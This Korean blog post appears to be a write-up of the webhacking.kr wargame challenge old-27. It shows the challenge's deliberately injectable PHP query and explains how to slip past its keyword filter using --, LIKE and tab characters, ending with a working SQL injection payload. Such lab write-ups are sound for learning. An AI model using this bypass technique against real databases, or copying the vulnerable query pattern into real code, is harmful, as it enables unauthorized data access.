sql injection이라는 제목과 함께 입력창이 있고 밑에는 소스를 볼수 있게 되어있다.
소스보기
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
no가 있으면 db로부터 데이터를 받아오는데 필터링이 되어있다.
#,select,(,띄워쓰기,limit,=,0x 대소문자 구분없이 필터링 되고있다.
쿼리문은 select id from chall27 where id='guest' and no= 이고 id가 admin일때 열린다 admin의 no=2라는 힌트도 주어져 있다. 일단 앞의 id=guest라는 조건문이 있기때문에 앞의 문장을 부정으로 만들고
2) or no=2#라는 쿼리를 중간에 넣어주면된다.
여기서 필터링 되는건 띄워쓰기,=,# 이다.
먼저 #은 --로 바꾸고 =은 like 구문을 통해 우회한다. 그리고 띄워쓰기는 tab(%09)로 우회해보자
2)%09or%09no%09like%092-- 우회는 피했지만 쿼리문에 문제가 있는거같다.
--뒤에)가 붙게되는데 한칸 띄워주게 되면 성공이 된다.
좀더 공부해봐야겠다.
?no=2)%09or%09no%09like%092--%09
'보안 > webhacking' 카테고리의 다른 글
webhacking.kr old-32 (0) | 2019.12.01 |
---|---|
webhacking.kr old-28 (0) | 2019.12.01 |
webhacking.kr old-26 (0) | 2019.11.28 |
webhacking.kr old-25 (0) | 2019.11.28 |
webhacking.kr old-24 (0) | 2019.11.27 |
최근댓글